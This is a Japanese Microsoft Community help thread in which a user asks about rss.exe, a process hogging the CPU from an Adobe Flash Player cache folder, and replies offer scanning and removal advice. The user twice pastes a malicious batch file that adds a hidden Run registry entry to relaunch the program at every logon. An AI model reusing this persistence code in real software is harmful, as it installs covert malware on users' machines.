CPU 使用率 100％ (異様に重い)

Question

今朝(2013.08.05)から パソコンが異様に重く

タスクマネージャを見てみると

rss.exe の　cpu使用率が異常に高く、且つ継続しています。

(95％以上 時には 99％)

このファイルの場所を 見て見ると

C:\Users\*******\AppData\Roaming\Adobe\Flash Player\File Cache\rss.exe

(*******はユーザー名)

でした。

このような事は初めてで プロセス終了して良いものか 「困っています」。

rss.exe とは何者でしょうか？

ESET SMART SECURITY 5 ではウイルス反応は有りませんが

やはり ウイルスでしょうか？

対処法をご教示下さい。

Answer 1

Adobe Flash Player対応のWebページを見る際に、Internet Explorer　を使用する場合に必要になるのは「Adobe Flash Player 11 ActiveX」で

FirefoxなどのIE以外のブラウザを使用する場合に必要になるのは「Adobe Flash Player 10 Plugin」です。

削除はどの順序でも構いません。

両方ともアンインストールし、その後

%APPDATA%\Adobe　から

\Flash Player　を削除してください。

念のため最初の作業前に復元ポイントを作成しておいてください。

Answer 2

お返事有り難うございます

Microsoft Safety Scanner (1.0.3001.0)

スキャン結果：正常に完了し 感染しているファイルは"0"でした

クリーンブートについては 現在稼働出来るＰＣが一台しか無く

操作方法を確認しながら 作業する事が出来ず

私には チョット自信が有りません・・・・

尚 言われたように

タスクマネージャで rss.exe を終了して作業を続けて見ましたが 問題は有りませんでした。

又 rss.exe の自動起動は同フォルダ内の rss.bat の記述が気になるのですが・・・・(以下記述内容)

@echo off

%windir%\system32\reg.exe add HKCU\software\microsoft\windows\currentversion\run /v RSS /d "wscript "%appdata%\Adobe\Flash Player\File Cache\file.vbs" "%appdata%\Adobe\Flash Player\File Cache\rss.bat"" /f

start /b /normal "a" "%appdata%\Adobe\Flash Player\File Cache\rss.exe"

私には全く理解出来ないのですが、どの様な "悪さ" をしているのでしょうか？

Answer 3

情報有り難うございます

CRC32: 73144CAA

MD5: A8F9C90F60DFF086CAB4C336E03B3BDC

SHA-1: 75FE3E93EB90F7FF23718C25B602AACA9506794C

サイズ: 189,440 バイト

場所: %AppData%\Roaming\Adobe\Flash Player\File Cache\rss.exe

と多少異なってはいますが 同種のウイルスでしょうか？

尚 同ディレクトリ"File Cache"に rss.bat が有り、以下の内容が記述されています。

@echo off

%windir%\system32\reg.exe add HKCU\software\microsoft\windows\currentversion\run /v RSS /d "wscript "%appdata%\Adobe\Flash Player\File Cache\file.vbs" "%appdata%\Adobe\Flash Player\File Cache\rss.bat"" /f

start /b /normal "a" "%appdata%\Adobe\Flash Player\File Cache\rss.exe"

私には全く理解出来ませんが、完全に削除するにはどうすれば良いのでしょうか？

又 ディレクトリ"File Cache"は以下のように構成されています

File Cache

 ┣file.vbs

 ┣libcurl-4.dll

 ┣pthreadGC2.dll

 ┣rss.bat

 ┗rss.exe

必要でしたら 各ファイルを Base64 でEnCode して開示する事も可能です。

対処法・完全削除法をご教示下さい。

Answer 4

AVG Internet Security 2013で2013-04-03に発見されたウイルスです。(TROJAN/DOWNLOADER8)

情報

MD5: 7e7adfccef583d51773a4a7a70ab9787

SHA1: ab8fa4a4ddd958cb516d9ec4d967b301d97ce5d3

SHA256: c8432223a9610e3a297281aeec2bb912c98d907e7492455df992fd6cddc09052

サイズ: 176640

ディレクトリ: %APPDATA%\Adobe\Flash Player\File Cache

ご覧になったFlushムービーに忍び込んでいたものではないでしょうか？

Answer 5

hiro0312h さん、こんにちは。

マイクロソフト コミュニティへの投稿ありがとうございます。

rss.exe というファイルが CPU を 100% 近く占有して、動作が重くなっているのですね。

ファイルの場所から、Windows のシステム ファイルではないようですので、終了しても問題はないかと思いますが、PC を「クリーン ブート」した際にも自動で起動されるものか確認してみてはいかがでしょう。

また、セキュリティ ソフトによってはデータ ベースに登録されていないマルウェアがある可能性も考えられるので、念のため「Microsoft Safety Scanner」を使ってスキャンをしてみてください。

※その場限りのスキャンを行うので、現在ご利用のセキュリティ ソフトはそのままでお使いいただけます。

確認された結果など、ご返信をお待ちしています。